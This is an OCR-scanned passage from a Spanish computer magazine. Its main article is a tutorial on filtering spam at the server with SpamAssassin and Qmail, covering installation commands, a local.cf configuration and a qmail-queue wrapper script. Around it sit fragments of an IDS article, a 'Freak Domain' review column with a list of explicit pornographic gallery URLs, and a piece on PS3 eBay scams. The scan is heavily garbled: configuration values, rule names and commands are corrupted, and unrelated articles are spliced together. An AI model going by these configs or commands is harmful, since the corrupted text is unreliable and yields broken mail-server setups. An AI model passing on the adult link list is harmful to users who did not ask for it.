Analysis Server (repositorio co-
miin) v Co-operative Agent
Network (sistema auténomo
encargado de la monitoriza-
cion de una red) (Figura 4).

Conclusiones

Pararnos frente a un incidente
en ¢l momento exacto de su
ocurrencia es una habilidad
fgue no S8 Consigue sino con
el tiempo vy la experiencia.
Los sistemas de deteccion de
intrusiones nos permiten, me-
diante distintas técnicas, agre-
gar un nivel mds de seguridad
a nuestro sistema informatico. El firewall tiene un
primo, y se llama |DS, pero éste a su vez tiene fami-
iares muy cercanos que irataremos en olra ocasion,
como los sistemas de prevencidn de intrusos (IPS),
que se detienen en el paso anterior a la deteccidn, o
los Honeypots, cambian la idea de alejar al atacante
por la de ofrecerle un camino especialmente disefia-
do. Prdximamente haremos pruebas para implemen-
tar un IDS para que nadie se pierda la posibilidad de
acercarse a uno de os niveles mas profundos de la
seguridad informdtica.<
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Combatiendo el Spam a nivel servidor

Ya no queremos escuchar sobre el spam, suficiente
tenemos con leerlo. Pero cuando nos decidimos a
combatirlo es necesario conocer todas las estrate-
gias posibles para combinarlas cuidadosamente, a
fin de conseguir el mejor esquema de seguridad y
por consiguiente, de tranquilidad.

5i dividimos en dos grande dreas el tema global, po-
demos hacer foco en la lucha desde el punto de vis-

ta del usuario o desde el punto de vista del servidor.
Puede parecer gque muchas funciones se solapardn y
se redundard en trabajo innecesario, pero realmente
es fundamental ese doble enfoque. En otros estu-
dios nos hemos concentrado en el nivel del usuario
final, con algunas responsabilidades en especial, co-
ma por ejemplo la seleccién fina de los mensajes, o
las configuraciones que incluyen la recepcion de
correo desde distintos servidores en simultineo. Es-
ta vez nos centraremos en el filtrado a nivel de servi-
dor, lo que nos lleva a analizar mas profundamente

SpamAssassin

algunas técnicas que antes
vimos de tal manera que
se comportaban como

cajas negras”.

Convengamos que existen
en el mercado decenas de
productos y programas
que prometen solucionar
nuestro problema a distin-
tos niveles, pero hete aqui
que muchas de ellas estan
basadas en uno en espe-
cial, que es el SpamAssas-
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COMBATIENDO EL SPAM

sin, una obra maestra en la que basaremos este es-
tudlio (Figura 1).

Las caractenisticas

SpamAssassin fue creado por Justin Mason, quien
mantuvo muchos parches de un programa anterior
llamado filter.plx, de Mark Jeftovic, iniciado en
1997. Mason reescribid lodo el codigo desde cero v
lo subid a SourceForge en abril de 2001. Original-
mente fue Registrado por DeerSolt, posteriormente

adquirido por Metwork Associates, v actualmente
opera bajo la Licencia Apache Software Foundation.

SpamAssassin estd basado en Perl, para los tandticos
de Perl, en CPAN (Comprehensive Perl Archive Met-
work] lo encuentran Como ."-.1.aiJ::5|;}.=||1'.|.-"u,~_.t|-q\rn. Fara
los que no manejan Perl, CPAN es una coleccion de
software vy documentacion, con diez anos online,
que nutre a la comunidad con 280 mirrors alrede-
dor del mundo,
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Dependiendo del modo de uso, en su aplicacion
mds comin podemos considerarlo un pre-procesa-
dor de comreos, va que la inspeccion es llevada aca-
bo en el servidor de correo previo a que el usuario
descargue su correo, asi permitiendo una pre-clasifi-
cacion de mensajes antes de utilizar una herramien-
ta en PC (Outlook, Eudora, Thunderbird).

SpamAssassin uliliza varios criterios para determinar
si un mensaje es SPAM:

Inspeccion de encabezados (headers): Los Headers
o cabeceras de mensaje, contienen informacidn im-
portante acerca del mensaje en si mismo, como la
procedencia y rutas de servidor, timestamps, etc.

Anilisis del Mensaje: El cuerpo vy titulo del mensaje
también son leidos por SpamAssassin, realizando
busquedas por palabras claves o estructuras que
conforman un correo no deseado.

Listas Negras: Existen listas que enumeran servidores
de correo conocidos como generadores de SPAM,
SpamAssassin consulta estas listas negras entre las
que se encuentran las mas populares como
http://www.mail-abuse.com/, http://www.ordb.org/
v hittp:/fwww.surbl.org/.

Anilisis bayesiano: Una vez definidas las reglas ini-
ciales para deteccion, SpamAssassin utiliza andlisis
probabilistico para determinar similitudes entre men-
sajes entrantes v aquellos ya detectados comao
SPAM.

Listas "Hash" / Firmas de Correo: Debido a que un
corren SPAM suele ser enviado a miles de personas
a la vez, la estructura de cada mensaje es idéntica
en todas sus instancias, produciendo asi un "Hash®
dnico. SpamAssasin consulta listas de Hashes sobre
mensajes conocidos, como serian : Vipul's Razor ,
Pyzory DCC.

La reaccidn de algunos spammers ante el surgimien-
to de las técnicas mds modernas fue empezar a utili
zar encabezados que simulaban ser legitimos
durante el envio masivo de mensajes, por ejemplo
desde Outlook Express. Sin embargo adn en enca-
bezados modificados, un mensaje correcto contiene
un identificador vilido dnico. Particularmente para
estos mensajes, existe por ejemplo la regla
MSGID_OUTLOOK_INVALID, permite detectar por
comparacion de identificadores el 25% del spam,

También existen programas que permiten utilizar
una plantilla para el envio masivo de mensajes e in-
cluyen mecanismos que toman algdn valor del en-
torno para hacerlos mas creibles frente al usuario o
el servidor que lo recibe. Para esto existe la regla
PERCENT_RANDOM que permite identificar mas
del 15% del spam,.

Para el caso del andlisis bayesiano, SpamAssassin to-

ma el mensaje de correo (cabeceras y cuerpo) v bus-
ca determinados patrones. Por cada patrén que en-
cuentra suma una determinada cantidad de puntos.
Cuando los puntos superan un umbral el correo se
marca como spam. Tanto el umbral, el valor de cada
patron, como los mismos patrones, son configura-
bles por cada usuario, que ademds puede afadir
nuevos patrones a buscar. Los patrones existentes,
que son muchos, van desde ver si el remitente tiene
una direccion que empieza por un nimero hasta
buscar frases claves en el cuerpo.

Por supuesto que las configuraciones basicas de re-
glas no son ideales para todos, asi que tendremos
que adaptarlas. Imaginen un entorne empresarial en
el cual el Jefe del drea de Marketing quiere recibir
publicidad sobre ciertos productos, que son exacta-
mente los mismos que no quiere recibir el Jefe de
Seguridad Informatica porque le fastidia. En estos
Cas0s, MUy comunes por cierto, tenemos que adap-
tar el filrado no solo a los gustos globales, sino al
usuario en particular. Para el caso de cada persona,
habra que resolver lo que cada uno considera spam
para pader filtrarlo,

En el andlisis del mensaje se aplican una serie de re-
glas predefinidas, las cuales en conjunto son el cora-
zon del sistema de deteccién. Solo con estas reglas
rapidas se identifican el 95% de los mensajes, ya
que la gran mayoria de los spammers no escriben su
propio codigo y utilizan algan sistema abierto que
adiciona encabezados, por esto es que resulta relati-
vamente sencillo identificar cuando se altera un
mensaje.

Manos al teclado

Ya mencionamos que estd basado en Perl. Adems,
requiere los mddulos ExtUtils::MakeMaker,
File::Spec, Pod::Usage, HTML::Parser, Sys::Syslog,
DB_File, Digest:SHA1, y Net::DNS (de CPAN).

Para hacer la instalacién por la consola de CPAN:

# perl -MCPAN -e shell
cpan> o conf prerequisites policy ask
cpan> install Mail::SpamAssassin

Fara instalarlo manualmente, suponiendo que ya lo
descargamos desde SourceForge:

# gunzip -c Mail-SpamAssassin-ver-
gin.gz | tar xf -

# cd Mail-SpamAssassin-3.0.1

# perl Makefile.PL

# make

# make install

Para los amigos de Debian:
# apt-get install spamassassin

Para los amigos de Gentoo

COMBATIENDO EL SPAM A NIVEL SERVIDOR
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O

O

# emerge spamassassin $Qué es lo que quedd instalado finalmente?

O para los Red Hat boys: - El conjunto de reglas basicas
: -Uvh Mail-SpamAssassin-ver- - Archivo de configuracidn local
. Tpm - Bl comando spamassassin

This 1s the right place to customize your installation of Spamassassin.

see 'manualiMail_spamassassin_cConf.html® in Sapr folder
for details of what can be tweaked. s

required_score 6.3
hiyes_iu‘tuj__‘learn 1

use_ba

ok_ ncﬁii all

report_safe 1

rewrite_header Subject ***~*Spamteiew

dns_available yes

If the score is smaller that this, email will be automatically
learned as nonspam. The threshold can be negative.
bayes_auto_learn_threshold_nonspam 0.05

If the score 1s larger than this, email will be auvtomatically
Tearned as spam.
bayes_auto_learn_threshold_spam 11.0
Timeout settings for various online tests (sec).
These parameters affect the time spent on these online tests.
rbl_timeout 20
dcc_timeout 10

uncomment and edit the 1ine below to cover the Trusted networks
fand only trusted networks), such as the network of your ISP.
This will prevent any hosts on this network from being
unnecessarily checked against the blacklists.

trusted_networks 152.3. 35.8.

core DOC_CHECK © 3.6 0 4.0
ECOFE RAZORZ CHECK O 2.5 0 2.5
SCOre MO_DNS_FOR_FROM O

score UNPARSEABLE_RELAY O

Score RCVD_IN_MJABL_PROXY O {1.::% 0 (1.0)
score RCVD_IN_MJABL_RELAY 0 2.0 0 2.0
score RCVD_IN_NJABL_SPAaM 0 (1.0) 0 (1.0)
ccore ROVD_IN_SORBS_MISC 0 1.0 0 1.0
Score RCVD_IN_SORBS_HTTP O 1.0 O 1.0
score ROVD_IN_SORBS_SMTP O (1.0) 0 (1.0)

gelow 415 the report template

------------------------------------------------------------

Tear_report_template
eport This mail is probably spam. The original message

report has been attached intact in RFC 822 format.

report

report Content preview: _PREVIEW_

report

report content analysis details: (_HITS_ points, _REQD_ required)
report

rtgﬂ‘t —SUMMARY _

unsafe-for-viewing message report template.

lear_unsafe_report_template

unsafe_report The original I'IE'SS-i.?E was not completely E;]i.'iﬂ text and may be unsafe to
unsafe_report open with some email c<lients; in particular, it mafy contain a virus
unsafe_report or confirm that your address can receive spam. I wish to view
unsafe_report 1t, it may be safer to save it to a file and open it with an editor.

Additional local configuration, see files
10_local_dnsbl. cf
10_local_tests.cf
10_local_ignore. cf
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- El demonio spamd
- El cliente spamc
- £l sistema de aprendizaje sa-learn

Para ver si quedd bien instalado podemos probar el
propio comando desde una shell:

# spamassassin -h
¥ veremos el output de la ayuda, como en la figura 2.

Bien, en este punto ya comenzaremos a depender
del servidor de correo especifico que tengamos ins-
talado. Entonces, a partir del MTA que tengamos
(Sendmail, Qmail, Exim, Postfix, Microsoft Exchange).
Para ejemplificar, lo haremos con el mitico Qmail,
probablemente el MTA mds seguro del mundo,

SpamAssassin + Qmail = Buena idea
OQmail es un MTA escrito por el investigador en crip-
tografia Dan Berstein y disefiado para proveer un
sistemna de comreo de alta seguridad. Consiste en va-
rios componentes, cada uno de ellos corre con el
minimo de privilegios.

A cada componente de Qmail le corresponden dife-
rentes roles en la recepcion de mensajes desde In-
ternet. Los mensajes tipicamente entran via el
demonio gmailsmtpd, el cual escucha el puerto 25
y conduce la transaccién SMTP con el remitente re-
moto. gmail-smtpd pasa el mensaje al programa
gmailqueue, quién lo almacena en una cola de sali-
da para un procesamiento futuro.

El demonio gmailsend lee los mensajes en la cola
de salida e intenta entregarlos utilizando el demonio
gmaikispawn (que pasa el mensaje a gmaikocal pa-
ra envios locales) o el demonio gmailrspawn (que
pasa el mensaje a gmailremote para envios a servi-
dores remotos). Parece laberintico, pero no es para
tantbo.

La forma mds sencilla de integrarlo con Qmail
consiste en redirigir los mensajes a través de Spa-
mAssassin durante el proceso de entrega local.
Las ventajas que se obtienen son su ficil integra-
cion, ademds de que se puede correr spamd y
procesar rapidamente con spamc. También permi-
te utilizar preferencias de usuario, listas persona-
les, y reglas almacenadas en SQL. Sin embargo su
principal desventaja es que solamente tiene alcan-
ce en las entregas locales. ¥ bueno, no existe la
panacea.

Si se desea filtrar la entrega local bastard con modifi-
car el archivo:

/var/gqmail /control/defaultdelivery
el cual especifica si se entrega cada mensaje en un

directorio (./Maildir/ ) o a un archivo (.Mailbox), por
la linea: | fusr/bin/spamc | maildir ./Maildir/

Si se desea configurar un mecanismo para revisar to-
dos los recipientes tanto locales como remotos, se
necesita realizar una verificacidn cuando el comeo
&% recibido y antes de la entrega final. Qmail provee
esta capacidad a través de un parche en gmail-
queue, el cual es incluido en la distribucion de
qmail.

Para verificar si se cuenta con el parche:

# cd /var/qmail/bin

# strings gqmail-smtpd | grep QMAIL-
QUEUE

QMAILQUEUE

5i no se cuenta con el parche de QMAILQUEUE,
entonces se puede emular QMAILQUEUE, al re-
nombrar gmail-queue a gmailqueue.orig y escribien-
do un nuevo script para gmail-queue que
redireccione el mensaje a través de SpamAssassin y
luego al archive gmaikqueue.orig.

# touch gmail-gueue.orig
# nano gmail-queue.orig

Y una vez dentro:

#!/bin/bash
PATH= /var/gqmail /bin: SPATH
| spame | gmail-queue.orig

Salvamos, salimos y listo.

Configurando SpamAssassin

La configuracion de SpamAssassin puede ser llevada
acabo de manera global, afectando todos los buzo-
nes/usuarios de una instalacion, o bien de manera
individual donde cada usuario define reglas de filira-
do mds estrictas o flexibles.

Los pardmetros globales de SpamAssassin son de-
finidos en un archivo llamado local.cf ubicado en
el sub-directorio de instalacion mail/spamassasin,
v que contiene las reglas que serdn aplicadas a
cualquier buzén que utilice SpamAssassin (Figura
3). Es un archivo de texto en el que cada linea es
un comando. Las lineas que empiezan por: "#" son
comentarios, como ocurre normalmente en el
mundo GNU/Linux. Para aquellos casos en los
que un usuario desee definir reglas de filtrado es-
pecificas, éstas pueden ser definidas bajo la ubica-
cion del buzdn de usuario en un sub-directorio
llamado .spamassasin y dentro de un archivo de-
nominado $HOME/ .spamassassin/user_prefs, vale
mencionar que estas reglas son aplicadas una vez
que han sido empleadas todas aquellas definidas a
nivel global.

Cada regla en SpamAssassin posee un puntaje, valor
que en caso de violarse dicha norma, es asignado al
puntaje total del mensaje en la evaluacién de ser
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Eile Edit Yiew GGo Message OpenPGF Tools Help
& . & (] - &

Get Mall  Write Address Book Decrypt
=~ Subject: fallure notice
From: MAILER-DAEMONSSEOEE TN, utn SO, ar
Date: 30/1L06 03:24
To: [edercop@elitech. Com. al

| Bpl-Account-Kay: accountd

X-UiDL: bTf1o6fediddlal?
pl-Mozilla-Status: 0001
M -Mozilla-Statusd: 10000000
Raturn-Path: <bounce@usd toseriers com >
X-Original-To: federcop@elitech com ar
Delivered-To: federcop@e-lambda.com.ar

fallure notlice - Thunderbird

¢ 9
Reply Reply Al Forward

Recalved: from usd tosenvers.com (localhost [127.000.1]) by usd toservers.com [Postfix) with ESMTP |d 53E68124C1FS

Racaived: by usd toservers.com [Postfix, from userid 0) id 4A6BF4124C207; Tha, 30 Mov 2006 00-49:57 -0300 (ART)

Racalved: from server.ifrioubneduar (usd toservers com [200.62.54.104]) by usd toservers.com [Postfix) with SMTP id 2
Message-ld: <20061130034956.2F 4831 24C1F 5@usd toservers. com =

pi-Spam-Checker-Verslon: Spamdssassin 3.1.5 (2006-08-29) on usd tosensers.com

-Spam-Status: Mo, score=(.0 requireds E.E}ﬁbtﬂﬁ\"ﬁ'ﬁ_ S0.UNPARSEABLE RELAY |autoleamn=disabled mum-.'-.l.ﬂ
pl-Virus-Scanned: ClamAy using Clam

Recalvead: from 170.210.17.146

Racelved: (gmaill 25392 invoked for bounce); 30 Nov 2006 03:24:53 -0000

SPAM, el valor promedio para que un commeo elec-

nico sea considerado chatarra también es confi-

gurable, finalmente para efectos practicos,

Assassin posee puntajes predefinidos para to-

sus reglas, v pueden ser modificadas. La nomen-

clatura utilizada para definir reglas es intuitiva, v
iste un gran nimero de variantes.

ando los correos que vienen desde un servidor

n marcados como spam, por diferentes motivos y
ténemos la mala suerte de recibir mucho correo
desde uno de estos sitios, pero sabemos a ciencia
erta que no son spam basta con afadir el dominio

/a una lista blanca. La linea de configuracion tiene el

formato: whitelist_from direccion. Por ejemplo:

whitelist_from *@elitech.com.ar
whitelist from *@gmail.com

Las listas blancas son reglas muy generales, por lo
tanto hay que tener en cuenta que los mensajes se
recibirdn sin marcar independientemente de los de-
mds pardmetros de configuracion.

Por defecto, para que un correo sea marcado como
spam debe sumar 5 puntos o mas. 5i este umbral re-
sulta pequefio (demasiados correos son marcados
como spam) o grande (mucho spam llega sin mar-
car) se puede modificar con required_score.

La linea de configuracion es: required_score um-
bral. Por ejemplo:

required hits 3.2
required hits &

En algunos casos la puntuacion asignada a una regla
nos puede parecer incorrecta. Esto se puede cam-
biar con la sentencia “score”, El valor puede ser un
numero cualquiera: score regla valor, Por ejemplo:

score FROM _ENDS WITH NUMS 2.3
score FOR_FREE 5

Por supuesto que cuanto mas especificas sean nues-
tras reglas y mas entrenados estén nuestros filtros,
lograremos un filtrado mas adecuado. En el sitio;

http://www.rulesemporium.com

podemos encontrar muchas reglas predefinidas que
pueden ayudarnos a crear las propias o bien pue-
den ser utilizadas directamente si se ajustan a las ne-
cesidades de filtrado particulares. Algunos ejemplos:

20_dnsbl_tests.cf Pruebas de Listas Negras DNS

20_phrases.ci Identifica frases para ser removi-
do

20_porn.cf Indicadores de encabezados por-
nograficos

Ninguna Regla, por si sola, puede marcar un mensa-
je como spam. SpamAssassin adiciona la posibilidad
de aprender a dlasificar mensajes en base a un gru-
po de carpetas en donde el usuario previamente ha
incluido sus mensajes basura (spam) y mensajes vi-
lidos (ham). Esta operacién le permite aprender a
identificar cada correo.

Aquellos mensajes en que el usuario y el progra-
ma estin de acuerdo en que no son spam se los
llama Verdaderos Negativos (HAM). Se le adicio-




na el encabezado X-Spam-Status con la leyenda
NO y X-Spam-Checker-Version con la versidn de

SpamAssassin.

Aquellos mensajes en que el usuario v el programa
estdn de acuerdo en que es spam, se los llama Ver-
daderos Positivos (SPAM). Como minimo se adicio-
nan los encabezados X-Spam-Level, X-Spam-Status, y
X-Spam-Flag. Si se habilita la opcidn rewrite_subject
se adiciona en el litulo del mensaje *****SPAM*****,

En la Figura 4 tenemos un ejemplo de mail que no
fue marcado como spam, su puntaje es “0°, en cam-
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tes gue lleguen a nuestra cuenta de correo electrdni-
co. Ahora vamos a ver algunas caracteristicas de inte-
gracidn con otros sistemas complementarios.

En el caso que estemos configurandolo en un servi-
dor de correo, podemos también utilizarlo junto con
Procmail. A grandes rasgos podemos decir que
Procmail es un sistema de procesamiento que acep-
ta mensajes como entrada estindar v aplica una se-
rie de reglas o acciones para la entrega de
mensajes. Dentro de esta dltima etapa es donde en-
tra en juego SpamAssassin, aplicando sus reglas y
definiendo las acciones a seguir antes de entregar
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bio en la Figura 5 vemos un mensaje que ademads
de ser marcado como spam con puntaje 8.4, nos
muestra la lista de pesos que hicieron que llegue a
ese puntaje.

Para los mds fandticos de los detalles podemos agre-
gar que en SpamAssassin 2.X, los puntajes se asig-
nan utilizando algoritmos genéticos, v en la version
3.X, se utilizan redes neuronales entrenadas con per-
ceptrones (error back propagation). Ambos intentan
optimizar la eficiencia en términos de minimizacion
del nimero de falsos positivos y falsos negativos, es
decir, mensajes que fueron marcados como spam y
no lo eran, y mensajes que no fueron marcados co-
mo spam cuando deberfan haber sido.

;De qué otra manera puedo utilizarlo?
Como vimos, SpamAssassin se ejecuta en un servidor,
filtrando todos los mensajes de correo no deseado an-

los mensajes a las casillas de correo de los usuarios.

Siguiendo con la configuracion dentro del servidor
de correo, otra buena practica es utilizarlo junto con
otros proyectos antispam, por ejemplo Black Lists o
Hash Sharing Systems. Spam Assassin incluye sopor-
te para las Black List mas importantes en forma nati-
va, por ejemplo DSBL (http://dsbl.org/), SORBS

www NAJBL (http://www.njabl.
nrgfdrnahlm:l: html) y SPAMCOP (http://www.
spamcop.net/) entre otras. Es decir, se chequea den-
tro de estas listas los posibles dominios o rangos
marcados como spammers. En cambio los Hash
Sharing System, permiten reconocer cuando un mis-
mo mensaje fue enviado a muchos sistemas o desti-
natarios a la vez, permitiendo la deteccidn al
agregar un encabezado o firma (hash) y compararlo
con alguna White List. Ejemplo de estos sistemas
son Razor, Pyzor y DCC.
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SaProxy
MailScanner

Otra gama de aplicaciones de terce-
ros que tienen a Spam Assassin co-

mo actor central son las interfases de
configuracion basadas en web. Bisi-
camente son scripts que facilitan el
proceso de configuracion del antis-
pam. Es muy dtil v priactico utilizar
estas herramientas para generar un
primer archivo de configuracién, y a
partir de este lo ajustamos bien a
nuestras preferencias. Algunos ejem-
plos de estas interfases son:

webuserprefs (http://sourceforge.
net/projects/webuserprefs/): Es un
front end escrito en php que soporta
instalaciones basadas en 5QL o en
archivos.

Maia Mailguard (http://www.maia-
mailguard.com): Es una interfase ba-
sada en web para amavisd-new y
SpamAssassin escrita en perl y php.

Finalmente, nos detendremos en el
enlace de Michel Moncur:

http://www.yrex.com/spam/spam-
config.php

.ﬁl nivel cliente otra forma de utilizar Spam Assassin
ptra reducir el correo no deseado es a partir de un
pequeno mail Proxy, permitiendo a SpamAssassin
actuar sobre este antes de que el correo sea final-

nte descargado. Algunos ejemplos son |SpamAs-
;;ssin, IMAPAssassin y particularmente para
plataformas Windows POP3Proxy y SaProxy.

Dada la potencia de Spam Assassin, otros productos
y/o proyectos lo integraron de algin modo como
parte de los mismos. Particularizando en los produc-
tos de Software Libre, podemos nombrar:

amavisd-new: Interfase entre MTA, escaner de virus
¥ SpamAssassin

Exchange Setup Script: Script desarrollado en Visual
Basic que permite al administrador de Windows
configurar el SpamAssassin (basado en Linux) para
los servidores Exchange o Lotus Notes.

REFERENCIAS

http://spamassassin.apache.org
http://en.wikipedia.org/wiki/SpamAssassin
www.ine.gob.mx/csi
hitp://www.rulesemporium.com
Mﬁxffm.ﬂ.uﬂn}ﬁ,fﬂm _
hitp://www.osmosislatina.com/spamvirus
hitp://www.lifewithgmail.org

quien escribié un script en php que
genera un archivo de configuracién para instalar en
nuestro servidor. Mediante algunas preguntas dividi-

das en secciones: umbral v reporte de opciones, op- .~

ciones bayesianas, de testeo de red y de idioma, se
nos genera directamente el archivo de configuracion
listo para descargar y reemplazar por Jetc/mail/spa-
massassinflocal.cf para configuraciones globales o
de usuarios.

Conclusiones

Ya sea con uno u otro MTA, como usuario individual,
o como administrador de varios servidores, SpamAs-
sassin ofrece una gama de respuestas ilimitadas fren-
te a la problemadtica del spam. A partir de ahora,
quien ose afirmar que no puede combatir este flagelo
mundial, estaremos seguros de que aun no se infor-
md de las posibilidades a nivel usuario y servidor pa-
ra armar con elle la mejor combinacién de
estrategias. Y todo esto ni olvidar que la teorfa del sis-
tema se basa en un tema en el que los matemdticos y
estudiosos de las ciencias de la computacitn trabajan
hace décadas, que es el andlisis de texto, solo que
con las tecnologias multimedia se sumd el andlisis de
metalenguajes e imigenes, que pasan a partir de esta
época a alimentar el cofre de conocimientos disponi-
ble para el beneficio de toda la gente.

Héctor Jara
hectorj@elitech.com.ar<
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Freak

Domai

No solo de Second Life

n

vive el friki

o les resultan incomodos. 50 hasta hay
\ hﬂp:ﬂ“WprﬂntDCﬂﬂdﬂmsmﬂﬁﬁdﬂh"" i un video de demostracion en la
B T T o e prriona 5 safre= =0 ey MED: SO IRds Qumas] Bt

~{ mos el proceso: doblar, romper, po-
ner, disfrutar. Ejem.

La evolucién...
De los videojuegos

Este corto pero Interesanie video
repasa algunos momentos de la
evolucidn de la historia de los vide-
ojuegos, concentrandose en diver-
sos géneros. Estd claro que no
estdn todos los que son, de ser asi
el video duraria dias y dias. Pero al
menos traerd algunos dulces re-
cuerdos de los primeros jucgos de
Star Wars, cdmo han cambiado los
juegos de guerra, los de lucha, o
los simuladores de conduccion. Y,
claro estd, es toda una reivindica-
cion de las anleriores generaciones
de videojuegos que tanto nos han
dado y que tanto respeto merecen
hoy dia. {O eres de esas snobs que
plensan que o dltimo es o mejor
porque 5i? Y si, cOmo se nos ocurre
resefiar un video cortito con lo que
hay en Youtube... Todo a su tiem-

%| po. pardicz.

No lo niegues, estds engan-
chadisimo a esas cosas del
Second Life, esos juegos
gue, segun la tele, te chu-
pan la sangre y te quitan la
vida. Nada, nada, descansa
un poco y reldjate con al-
gunas resefias ligeritas.

Vida sexual sana

No son pocos los incaulos que van
por ahi diciendo que no se ponen el
conddn por aquello de que “corta el
rollo™. Aqui si que nos vamos a po-
ner serios, lefie. Que si, que vale
que no es lo mismo que hacerlo "a
pelo”, pero éscguro que lo de los
embarazos no deseados v las enfer-
medades de transmisién sexual no
son argumentos convincentes? Ven-

. hombre, (salo que no es para
tanto. Ademds, para que veas que
una vez mds buscamos lo mejor pa-
ra li, presentamos Pronto Condom,
toda una novedad en ¢l mercado.
Solo hay que doblar ¢l sobre del
conddén, que queda asi abierto y a
ponerlo donde corresponde. O sea,
que al menos se ahorra uno un pa-
s0. O dos. segiln se mire. El caso es
que Pronto Condom promete acor-
tar esos momentos que 3 algunos

http://www.tuexperto.com/?p=449
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INTERNET

http://translatedmemories.com/

2TLER | my

TRANSLATED MIEMORIES

El universo Silent Hill, un

E::Jrrdst:bm
decir 2 estas alturas que Silent

Hill es una de las sagas con mayor
rgueza argumental y de personajes
de todos los liempos. Y no, no nos
wamos 3 poner 2 discutir esta vez so-
bee si b pelicula fue decepcionante o
n0 {por si sirve de algo, al que escri-
be estas lineas le encantd la adapla-
cion de Christophe Gans). Esta vez
traemos una web con una canlidad
enorme de informackin, que seguro
agradecerin los fandticos de la serie
de Akira Yamaoka y compafia.
Translated Memories es una pagina
que traduce ciertos documentos que
spdo vieron |3 luz en faponés en su

dia. Por ejemplo, aqui veremos la
version Iraducida al inglés de Lost
Memories. un libro que salid a la
venta en la época de Silent Hill 3. El
libro repasa argumentos, personajes,
leorias ¢ influencias de los tres pri-
meros juegos de la saga. Mapas del
lugar, explicaciones de las motivacio-
nes de los protagonistas, las pelicu-
las y otras manifestaciones artisticas
que inspiraron a los creadores de los
uegos, documentacion histdrica de
Silent Hill... En fin, una cantidad in-
gente de datos realmente codiciados
por bos fans de SH. Ademds del libro
Lost Memories, ka web también tiene
las traducciones de las fichas de los

personajes de Silent Hill 4, que has-

Fotoblogs rebosantes de sensualidad

Siempre (o casl siempre) cumplimos con lo gue €5 ya una obligacidn de la casa, ofre-
cer ks url mds apetilosss del mes. Todo un detalle.

hitpe/fhtml o com4/1 fples/DI60/nude/7_cl848_01 himipr= | 0&su=28ad=17
8641

hitp://galleries. coolios.net/twistys/Cassle_Young,_in_cum_up_and_sce_me 1§
me_by_Twdstys/

hitp://weaw bodsforthemods. comygalery/Dalsy-Beach-lennifier-L-Bed/
hitpc//hottystop.comfveronica-sheer-black/

116019

hitp://hg, dightaldreamgirs.comygals/a- batley

hitp://wamw.extape. com/file/67 |

hittp://www.shooshtime com/sexybabes/galleries/1 335/
hitp-hosted.met-art.com/Trial_met-art_tf 67_441/7pa=856305

ta ahora solo estaban en japonés.
Todo un trabajo de traduccidn y de
amor a la que muchos consideran la
saga mds carismdtica de los Survival
Haorror. <

Al rico mod

Tranqyilos, este mes no vamos a hablar de ningin mod de Xbax360.
Es verdad que Gltimamente nos hemos dejado deslumbrar por los inge-
niosos mods que se han hecho a la consola blanca de Microsoft, pero
£5 que somos muy impresionables. Esta vez abordamos la obra de
Chopper Computer, donde se han dedicado a fundir la Informdtica con
las motocicletas Chopper. Todo un reto que ha dado unos frutos sen-
cillamente apabullantes, a las imdgenes nos remitimos. El trabajo de
Chopper Computer no solo se ha recogido en su web (http://chopper-
computer.com/), ha tenido eco en otras piginas de modding e
informitica en general, como hitp://zinzi.usTa=node/303 ¥
hitp://www.mobilewhack.com/reviews/choppercomputer_true_fire_ext
reme_gamer_pc.himl. Nos encantaria ver algunas de estas maravillas
en las proodmas parties.




Cuida tu cartera...

Y tu dignidad

Siempre hay alguien mas listo

Ya, ya. Que tienes un gran historial en la Red. Que tienes
3.000 mensajes en unos cuantos foros, y todos te respe-
tan. Tienes un blog de lo mas chic. Y unos cuantos visi-
tantes en tu pagina de MySpace. Todo eso sirve de poco
si te pueden tomar el pelo como a tu abuelo hace 50 arios.
Mientras hay cosas que han cambiado drdsticamente,
otras siguen exactamente igual. Y una de esas cosas es el
timo, o mejor dicho, aquel que se deja timar.
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La vida sigue igual Playstation 3. PAL. 300 euros. {Algo de esto le suena

A raiz del lanzamiento en Estados Unidos y Japin de la
consola Playstation 3 surgieron algunas noticias que,
aunque graciosas, no dejaban de tener su relevancia.
Mis de un usuario, en frenesi consolero, se paso
por eBay a ver si habia suerte. Algo realmente lemera-
rio, porque ya de por si el precio de la miquina es lo
suficientemente elevado como para considerar una im-
portacion o una puja. Pero poco importaba, poraue la
demanda era ka demanda. Entre las diversas subastas de
presunias consolas P53 habia de todo: un vendedor
olrecia no una consola, sino dos. Pero no eran P53, se
trataba de una PSOne y una PS2. El listillo de turno
haria las cuentas ("Play uno y Play dos, igual a Play 37).
pero ¢l timo era bien gordo.

Que si, que luego se advertia en letra pequefia de qué
iba la cosa, pero el vendedor ya se habia asegurado b
visita de mds de un jugdn desesperado en busca de su
consola nueva. Otra de las pujas era mis escandalosa, si
cabe. Por 900 dolares no se ofrecia una P53, sino 3
PS. Exacto, tres consolas PSOne a un precio de-
sorbitado. Cuando en eBay aparecen esle tipo de ventas
s porque hay un dnimo manifiesto de aprovecharse de
las ansias y la avidez del personal. Y sl siguen existiendo
es porque la gente sigue picando. Entonces, de ser asi,
s que no ha cambiado tanto la cosa como se pensaba.
Que se puede dominar cualquier nueva tecnologia con
los ojos cerrados, y ser experto en Internet (signifique lo
que signifique esto), y parecer muy listo en blogs y fo-
ros, pero los timos siguen a la orden del dia. Y los “pri-
mos” siguen siendo primos.

A vueltas con la PS3, la consola de sirve de excu-
sa para nuevos timos. Bueno, esta vez diremos presun-
105, nO vaya a venir un juez por un quitame alli esa
difamacion. La web glosce.com empezd 2 aceplar com-
pradores de Playstation 3 PAL por 300 euros. A ver.

bien a alguien? Pues a mds de uno le debia sonar de
maravilla, porque no son pocos los que han puesto po-
co después ¢l grito en el cielo, concretamente en pagi-
nas como meristation.com o adslzone.nel.
Evidentemente, se por ser victimas de un timo.
Este articulo lo escribimos en enero, y el tema ya colea
desde hace unas semanas. O sea que no es que la web
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se alreviera a poner a la venta las consolas PAL poco
antes de |a salida oficial, hablamos de meses. Y de con-
solas que en leorfa no existen (aungque hay rumores por
ahi de que las versiones PAL ya estan en los almacencs
cogiendo polvo). Pues hay unos cuantos incautos que
han picado y dieron su dinere por anlicipado a
glosce.com y no han vuelto a saber ni de su dinero ni
de las consolas.

Y s que por mucho tiempo que pase. siempre hay al-
guien dispuesto a limamos, a demostrar que es mis lis-
lo que nosolros. Y mira que nos creemos listos, befie.
Pues nada, picamos. Hay cosas que no cambian. <
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cuperamos la mitologia de La Guerra
de las Galaxias, concretamente uno de los
puntos en los que mds de un friki se habrd de-
tenido alguna vez: écudles son las heridas de
Darth Vader, qué partes de su cuerpo han per-
manecido intactas hasta su muerte en el Episo-
